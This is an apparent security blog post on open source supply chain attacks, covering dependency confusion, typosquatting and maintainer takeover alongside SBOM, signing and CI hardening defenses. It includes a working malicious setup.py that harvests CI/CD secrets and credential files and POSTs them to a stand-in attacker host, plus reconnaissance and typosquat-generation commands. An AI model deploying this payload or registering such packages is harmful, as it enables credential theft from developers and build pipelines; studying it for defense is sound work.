Back to Blog
Adversarial Machine Learning

Anatomy of a Supply Chain Attack: Compromising Open Source Dependencies

OffSec Research Team
10 June 2026 • 09:00 AM16 min
Anatomy of a Supply Chain Attack: Compromising Open Source Dependencies
TL;DR — Open source supply chain attacks — dependency confusion, typosquatting, maintainer account takeover, and malicious install-time scripts — have become one of the most effective initial access vectors against software organizations, capable of silently compromising thousands of downstream targets through a single malicious package. This post walks through the complete anatomy of each attack variant, from initial package registration through payload execution and credential exfiltration, alongside a detailed look at the detection and defense controls that actually work.

Executive Summary

The software supply chain is the new perimeter. For the past decade, the security industry focused relentlessly on hardening the network boundary, endpoint detection, and identity controls — while the software build pipeline was left almost entirely unguarded. The consequences became undeniable with SolarWinds (2020), where Kremlin-linked operators injected a backdoor into the build process of a network management platform used by 18,000 organizations including the US Treasury, State Department, and dozens of Fortune 500 companies. The attackers did not breach SolarWinds' customers directly; they compromised the vendor once and had the vendor deliver the malware for them.

Open source dependencies represent the same attack surface at a far more accessible scale. The npm registry hosts over 2.5 million packages. PyPI hosts over 500,000. The average Node.js application has over 1,000 transitive dependencies — packages that are pulled in not because the developer explicitly chose them, but because something they chose depends on something that depends on something. In this dependency graph, a single malicious package can reach millions of installations per week.

This post examines five distinct open source supply chain attack techniques through the lens of red team operations and real-world incidents: dependency confusion attacks (the technique that earned Alex Birsan $130,000 in bug bounties from Apple, Microsoft, and PayPal in a single research project), typosquatting, maintainer account takeover, malicious CI/CD targeting via install-time hooks, and the emerging technique of gradual backdoor insertion through seemingly legitimate contributions. We then turn to the defensive side: SBOMs, package signing, dependency pinning, private mirrors, and pipeline hardening.


The Supply Chain Threat Landscape

Major Incidents and Pattern Analysis

The past five years have seen supply chain attacks transition from rare nation-state operations to a routine technique used by financially motivated criminal groups, hacktivists, and researchers demonstrating vulnerabilities.

IncidentYearAttack TypeImpact
SolarWinds Orion (SUNBURST)2020Build process compromise18,000 organizations, US government agencies
event-stream (npm)2018Maintainer account transfer + backdoorTargeted Copay Bitcoin wallet, 2M downloads/week
node-ipc (protestware)2022Maintainer-inserted destructive payloadWiped files on Russian/Belarusian systems
Log4Shell (CVE-2021-44228)2021Vulnerability in widely-used libraryHundreds of millions of vulnerable instances
PyTorch nightly (torchtriton)2022Dependency confusionML engineers' machines at major tech companies
XZ Utils backdoor (CVE-2024-3094)2024Long-term social engineering of maintainerSSH authentication bypass in liblzma
Polyfill.io CDN compromise2024Domain acquisition + payload injection100,000+ websites
Colors.js / Faker.js (sabotage)2022Maintainer intentional breakageMillions of dependent packages broken

The XZ Utils case deserves special attention because it demonstrated a level of operational sophistication previously associated only with nation-state actors: a persona called "Jia Tan" spent two years making legitimate, high-quality contributions to the XZ Utils compression library, building trust with the maintainer before inserting a highly obfuscated backdoor in the build system that would have allowed password-less SSH authentication on affected Linux distributions. The operation was only discovered by a Microsoft engineer investigating SSH performance anomalies.

diagram — rendering…
flowchart LR
    subgraph Attackers["Attack Vectors"]
        DC[Dependency\nConfusion]
        TS[Typosquatting]
        MT[Maintainer\nTakeover]
        CI[CI/CD Payload\nin setup.py]
        LT[Long-term\nContributor]
    end
    
    subgraph Registry["Package Registries"]
        NPM[npm Registry\n2.5M packages]
        PPI[PyPI\n500K packages]
        MCR[Maven Central]
        CRG[Crates.io]
    end
    
    subgraph Victim["Victim Pipeline"]
        DEV[Developer\nMachine]
        CI2[CI/CD\nPipeline]
        PROD[Production\nEnvironment]
    end
    
    DC --> NPM
    DC --> PPI
    TS --> NPM
    TS --> PPI
    MT --> NPM
    MT --> PPI
    CI --> PPI
    LT --> MCR
    
    NPM -->|npm install| DEV
    NPM -->|npm ci| CI2
    PPI -->|pip install| DEV
    PPI -->|pip install| CI2
    CI2 -->|deploy| PROD
    DEV -->|push + build| CI2
    
    DEV --> EXF[Credential\nExfiltration]
    CI2 --> EXF
    PROD --> EXF
    
    style Attackers fill:#2d0000,stroke:#ff0000
    style Registry fill:#1a1a00,stroke:#ffff00
    style Victim fill:#001a00,stroke:#00ff00

Dependency Confusion Attacks

The Core Technique

Alex Birsan's February 2021 research paper "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" described a devastatingly simple attack. Many large organizations use private package registries (internal npm, PyPI, or Maven repositories) for proprietary code that is not published publicly. These private packages have names like @company/internal-utils or company-build-tools.

The attack works as follows: if the target organization's build system is configured to check the public registry in addition to (or before) the private registry, and if the public registry has no package with that name, an attacker can simply register that package name on the public registry with a higher version number. The build system, following its configured resolution order, will find the public package, see a higher version than the internal one, and install the attacker's package instead.

bash
# Reconnaissance: identifying private package names used by target# Method 1: JavaScript source maps / bundled code exposurecurl -s https://target.com/static/js/main.chunk.js | grep -oE "@[a-z0-9-]+/[a-z0-9-]+" | sort -ucurl -s https://target.com/static/js/main.chunk.js | grep -oE "require\(['\"][^@][^'\"]+['\"]" | sort -u # Method 2: GitHub/GitLab search for package.json in org repos# (using GitHub API or Sourcegraph)gh api "search/code?q=org:TargetCorp+filename:package.json+@targetcorp" \  --jq '.items[].html_url' # Method 3: npm-audit-reports or error messages with internal package names# Sometimes error messages include "Cannot find module '@internal/utils'"# exposed in client-side JavaScript error handlers # Method 4: Dockerfile and CI config leakage# Search GitHub for target org's public repos containing internal package refsgh search code "targetcorp-internal" --repo "TargetCorp/*" # Once you have a private package name, check if it exists on public npm:npm info @targetcorp/internal-auth 2>&1# "npm ERR! 404 Not Found" = the name is unclaimed on public registry # Register the package with version 9.9.9 (higher than any internal version)# Create a malicious package with that namemkdir @targetcorp-internal-auth && cd @targetcorp-internal-authnpm init --yes# Set version to 9.9.9 in package.json# Add postinstall script

Malicious Package Payload Design

The payload for a supply chain attack is typically delivered via install-time hooks — scripts that execute automatically when a package is installed. In npm, this is the postinstall script in package.json. In Python, it is code in setup.py's install_requires processing or the package's __init__.py.

python
#!/usr/bin/env python3# Malicious setup.py — demonstrates CI/CD credential exfiltration payload# This is a PROOF OF CONCEPT for educational purposes only.# Publishing malicious packages is illegal and unethical. import osimport platformimport socketimport subprocessimport urllib.requestimport jsonimport base64from setuptools import setupfrom setuptools.command.install import install class MaliciousInstall(install):    """Custom install command that exfiltrates environment on package install"""        def run(self):        # Execute malicious payload BEFORE normal install        self._exfiltrate_credentials()        # Then proceed with normal installation (to avoid suspicion)        install.run(self)        def _exfiltrate_credentials(self):        """Collect and exfiltrate sensitive environment variables"""                # High-value CI/CD credential patterns        sensitive_vars = [            'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AWS_SESSION_TOKEN',            'GITHUB_TOKEN', 'GH_TOKEN', 'GITHUB_PAT',            'NPM_TOKEN', 'PYPI_TOKEN', 'TWINE_PASSWORD',            'DOCKER_PASSWORD', 'REGISTRY_PASSWORD',            'AZURE_CLIENT_SECRET', 'ARM_CLIENT_SECRET',            'GOOGLE_APPLICATION_CREDENTIALS', 'GCP_SA_KEY',            'SLACK_WEBHOOK_URL', 'PAGERDUTY_KEY',            'DATABASE_URL', 'POSTGRES_PASSWORD', 'MYSQL_ROOT_PASSWORD',            'SECRET_KEY', 'DJANGO_SECRET_KEY', 'FLASK_SECRET',            'STRIPE_SECRET_KEY', 'STRIPE_WEBHOOK_SECRET',            'SENDGRID_API_KEY', 'MAILGUN_API_KEY',            # Kubernetes            'KUBE_TOKEN', 'KUBECONFIG',            # CI/CD platform tokens            'CIRCLECI_TOKEN', 'TRAVIS_CI_TOKEN', 'JENKINS_API_TOKEN',            'ARTIFACTORY_API_KEY', 'NEXUS_PASSWORD',        ]                # Collect environment        exfil_data = {            'hostname': socket.gethostname(),            'platform': platform.platform(),            'user': os.environ.get('USER', os.environ.get('USERNAME', 'unknown')),            'cwd': os.getcwd(),            'env_secrets': {},            'git_config': None,            'aws_credentials_file': None,        }                # Extract sensitive environment variables        for var in sensitive_vars:            value = os.environ.get(var)            if value:                exfil_data['env_secrets'][var] = value                # Also read all env vars (captures anything we might have missed)        exfil_data['all_env'] = {k: v for k, v in os.environ.items()                                  if any(word in k.lower() for word in                                         ['token', 'key', 'secret', 'pass', 'auth',                                          'cred', 'api', 'pwd', 'private'])}                # Try to read AWS credentials file        aws_creds_path = os.path.expanduser('~/.aws/credentials')        if os.path.exists(aws_creds_path):            with open(aws_creds_path, 'r') as f:                exfil_data['aws_credentials_file'] = f.read()                # Try to read git config (may contain PATs stored as credential helper)        git_config_path = os.path.expanduser('~/.gitconfig')        if os.path.exists(git_config_path):            with open(git_config_path, 'r') as f:                exfil_data['git_config'] = f.read()                # Identify CI/CD environment        ci_indicators = ['CI', 'GITHUB_ACTIONS', 'GITLAB_CI', 'CIRCLECI',                         'TRAVIS', 'JENKINS_URL', 'BITBUCKET_BUILD_NUMBER']        exfil_data['ci_environment'] = {k: os.environ.get(k)                                          for k in ci_indicators                                          if os.environ.get(k)}                # Exfiltrate to attacker-controlled server via DNS (harder to detect than HTTP)        # In production malware, data is often base64 encoded and sent as DNS subdomains        # Here we show HTTP exfiltration for clarity        if exfil_data['env_secrets'] or exfil_data['aws_credentials_file']:            payload = base64.b64encode(json.dumps(exfil_data).encode()).decode()            try:                # Silent — no output, timeout quickly to not slow CI                req = urllib.request.Request(                    'https://attacker-c2.example.com/collect',                    data=json.dumps({'data': payload}).encode(),                    headers={'Content-Type': 'application/json'},                    method='POST'                )                urllib.request.urlopen(req, timeout=3)            except Exception:                pass  # Fail silently — don't reveal the payload  setup(    name='legitimate-looking-package-name',    version='9.9.9',  # Intentionally high version to win dependency resolution    description='Internal utilities',  # Mimics internal package description    cmdclass={'install': MaliciousInstall},    # Include some legitimate-looking code to pass cursory inspection    packages=[],)

In real-world dependency confusion attacks (particularly Birsan's authorized research), the payload simply reported back with the hostname, IP address, and environment of the machine that installed the package, proving the attack had succeeded. In a malicious deployment, the payload would harvest CI/CD credentials, AWS keys, GitHub tokens, and database URLs that are routinely present as environment variables in build pipelines.


Typosquatting Attacks

Targeting High-Download Packages

Typosquatting registers packages with names that are common misspellings or near-homoglyphs of popular packages. The attacker bets that some fraction of developers will mistype a package name and install the malicious version without noticing.

bash
# Identifying typosquatting targets: high-download npm packages# npm download statistics via APInpm pack --dry-run 2>/dev/nullcurl -s "https://api.npmjs.org/downloads/range/last-month/react,lodash,express,axios" | \  python3 -m json.tool # Common typosquatting patterns for target "requests" (Python):# - request (missing s)          [ACTUALLY EXISTS - legitimate package, confusingly]# - requets (transposed e,s)# - requests2 (version suffix)# - python-requests (prefix)# - requestss (double s)# - rquests (missing e) # Automated typosquatting name generationpython3 -c "import itertools def generate_typos(package_name):    typos = set()    chars = list(package_name)        # Character deletion    for i in range(len(chars)):        typo = chars[:i] + chars[i+1:]        typos.add(''.join(typo))        # Character transposition    for i in range(len(chars) - 1):        typo = chars[:]        typo[i], typo[i+1] = typo[i+1], typo[i]        typos.add(''.join(typo))        # Character substitution (common keyboard-adjacent substitutions)    keyboard_adj = {'a':'sq','s':'adwx','d':'sefx','f':'dgrv','g':'fhtb',                    'q':'wa','w':'qase','e':'wdsr','r':'etf','t':'ryg'}    for i, char in enumerate(chars):        for adj in keyboard_adj.get(char, ''):            typo = chars[:]            typo[i] = adj            typos.add(''.join(typo))        return typos - {package_name} for typo in sorted(generate_typos('requests'))[:20]:    print(typo)"

PyPI and npm have automated detection systems for obvious typosquatting, but novel variations continue to slip through. Once registered, typosquatted packages sit dormant accumulating installs — the average successful typosquatting package gets installs from hundreds to thousands of machines before detection.


Maintainer Account Takeover

Attack Vectors Against Package Maintainers

The most impactful supply chain attacks occur when legitimate packages are compromised, because the malicious version inherits the trust and install volume of the legitimate package.

Attack VectorReal-World IncidentTechnique
Credential stuffingnpm maintainersReused passwords from data breach
PhishingPyPI maintainers (2022 campaign)Fake PyPI email requesting re-verification
GitHub account takeoverMultiple npm packagesOAuth token theft, session hijacking
Maintainer burnout + transferevent-stream (2018)Attacker offered to "take over maintenance"
Social engineering over timeXZ Utils (2024)2-year relationship building with maintainer
npm MFA bypassPre-2022 npmSMS-based MFA interception

The event-stream attack is particularly instructive. The package's original author had largely stopped maintaining it but retained ownership. An attacker opened a GitHub issue offering to take over maintenance, the original author agreed, and the attacker gained publish access. They then added a dependency on a package they controlled (flatmap-stream) that contained an encrypted payload targeting Copay, a Bitcoin wallet application. The encrypted payload only executed in the specific environment of the target application — it checked for the presence of the Copay application's specific module structure before decrypting and executing. This made automated malware scanning ineffective.


Software Bill of Materials (SBOM)

An SBOM is a formal, machine-readable inventory of the components, libraries, and dependencies in a software application. Without an SBOM, organizations cannot quickly determine whether they are affected by a newly disclosed vulnerability or supply chain compromise — they have to manually trace every dependency.

Two primary SBOM formats have emerged:

bash
# Generating an SPDX SBOM for a Python projectpip install cyclonedx-bom spdx-tools # CycloneDX format (preferred for security use cases)cyclonedx-py environment -o sbom-cyclonedx.json --format jsoncyclonedx-py poetry -o sbom-poetry.json  # for Poetry projects # SPDX format (preferred for license compliance)python -m spdx.clitools.pyspdxtools generate \  --package-name "MyApp" \  --package-version "1.0.0" \  --output sbom-spdx.spdx.json # For Node.js projectsnpm install -g @cyclonedx/cyclonedx-npmcyclonedx-npm --output-file sbom.json # Check SBOM against known vulnerabilities# Using Grype (Anchore)grype sbom:./sbom-cyclonedx.json # Using OSV (Google's Open Source Vulnerability database)osv-scanner --sbom sbom-cyclonedx.json

The value of an SBOM is not just knowing what you have — it is knowing what you have quickly. When Log4Shell was disclosed, organizations with SBOMs could query their inventory in minutes to determine which applications used log4j-core at a vulnerable version. Organizations without SBOMs spent days or weeks manually searching codebases and build configurations.


Package Signing and Verification

Current State and Gaps

The ecosystem has made significant progress on package signing, but the adoption is uneven and the protections have important gaps:

RegistrySigning MechanismStatusGaps
npmProvenance (Sigstore)Available, not mandatoryMost packages unsigned; attestation optional
PyPITrusted Publishers (OIDC)Available, widely adoptingOlder packages lack provenance
Maven CentralGPG signingRequired for publishingKey management varies; key revocation unreliable
Crates.io (Rust)cargo-crev (optional)Community-driven, low adoptionNo mandatory signing
Debian APTGPG repo signingRequiredPackage-level signing is per-distribution
bash
# Verifying npm package provenance (when available)npm install --dry-run some-package 2>&1 | grep -i provenance # Checking Sigstore attestation for a specific npm packagenpm audit signatures  # Verifies registry-signed packages # For Python packages with Trusted Publisher provenance# Check on PyPI web interface under "Distribution files" section # Manual verification with cosign (Sigstore)cosign verify-attestation --type slsaprovenance \  --certificate-identity "https://github.com/actions/runner@refs/heads/main" \  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \  ghcr.io/example/package@sha256:abc123...

The critical gap: even with package signing, a compromised maintainer account can publish a legitimately-signed malicious package. Signing proves the package came from the maintainer's account — it does not prove the maintainer's account wasn't compromised, and it does not prove the maintainer's intentions are benign.


Securing the Development Pipeline

Defense-in-Depth for Supply Chain

bash
# 1. Dependency pinning with hash verification (npm)# package-lock.json includes SHA-512 hashes — never delete itnpm ci  # Uses lock file exactly — fails if lock file is missing or inconsistent# NOT: npm install  (which can update within semver ranges) # 2. Private registry mirror with automatic vetting# Artifactory/Nexus configuration example (conceptual)# .npmrc:# registry=https://artifactory.corp.example.com/artifactory/npm-proxy/# //artifactory.corp.example.com/...:_authToken=${ARTIFACTORY_TOKEN} # 3. Dependency vulnerability scanning in CI# GitHub Actions example:cat << 'EOF'name: Security Scanon: [push, pull_request]jobs:  scan:    runs-on: ubuntu-latest    steps:      - uses: actions/checkout@v4      - name: Run Snyk        uses: snyk/actions/python@master        env:          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}      - name: Run Trivy        uses: aquasecurity/trivy-action@master        with:          scan-type: 'fs'          scan-ref: '.'          format: 'sarif'          output: 'trivy-results.sarif'      - name: Upload SARIF        uses: github/codeql-action/upload-sarif@v3        with:          sarif_file: 'trivy-results.sarif'EOF # 4. Restrict outbound network from CI builds# Use network policies (Kubernetes) or security groups (AWS CodeBuild)# to prevent install-time exfiltration — CI build machines should have# no outbound internet access except to approved package registries # 5. Monitor for new package versions before they reach production# Renovate Bot or Dependabot creates PRs for updates — require human review# for major version bumps and new dependency additions

The most effective single control against supply chain attacks is outbound network restriction on CI/CD build agents. An install-time payload that cannot reach the attacker's exfiltration endpoint is far less dangerous — the credentials are still potentially accessible to post-install code, but the exfiltration vector is broken. Combined with isolated build environments (ephemeral containers with no access to production credentials until build verification passes) and mandatory SBOM generation and scanning at every build, organizations can dramatically reduce their supply chain attack surface.


MITRE ATT&CK Mapping

Technique IDTechnique NameUsage in Supply Chain Attacks
T1195.001Supply Chain Compromise: Compromise Software DependenciesDependency confusion, typosquatting, package takeover
T1195.002Supply Chain Compromise: Compromise Software Supply ChainBuild process injection (SolarWinds pattern)
T1059.006Command and Scripting Interpreter: PythonMalicious setup.py payload execution
T1059.007Command and Scripting Interpreter: JavaScriptMalicious postinstall script in npm packages
T1552.001Unsecured Credentials: Credentials In FilesReading ~/.aws/credentials, ~/.gitconfig in payload
T1552.007Unsecured Credentials: Container APIReading GITHUBTOKEN, AWS* from CI environment
T1070.003Indicator Removal: Clear Command HistoryMalicious package cleaning up after itself
T1567.002Exfiltration Over Web ServiceHTTP POST to attacker C2 with stolen credentials
T1568Dynamic ResolutionDNS-based exfiltration to avoid HTTP detection
T1078.004Valid Accounts: Cloud AccountsUsing stolen AWS keys for persistent access
T1098.001Account Manipulation: Additional Cloud CredentialsCreating IAM users/access keys with stolen credentials

Conclusion

Open source supply chain attacks are the most asymmetric attack vector in modern offensive security: a single malicious package, properly positioned, can silently compromise the development environments and CI/CD pipelines of thousands of organizations. The attack is entirely automated after initial setup, it leverages the target's own build tooling to execute the payload, and detection requires monitoring capabilities that most organizations do not have.

The XZ Utils backdoor revealed the most sophisticated variant: a two-year patient operation that created legitimate value in the open source ecosystem before weaponizing that trust. The event-stream attack revealed how the economics of open source maintainership — unpaid, undervalued, exhausting — create an inherent vulnerability: maintainers become a target when they are the sole barrier between attacker code and millions of downstream installations.

For defenders, the most actionable insight is this: treat every dependency update as an untrusted code change that requires review. You do not need to read every line of every dependency update — but you do need automated scanning, SBOM tracking, network isolation of build environments, and a process for reviewing major dependency changes. The organizations that survived supply chain attacks mostly did so because they detected the exfiltration attempt or noticed unusual network behavior from a build agent — not because they prevented the malicious package from installing.

The perimeter is your package.json. Guard it accordingly.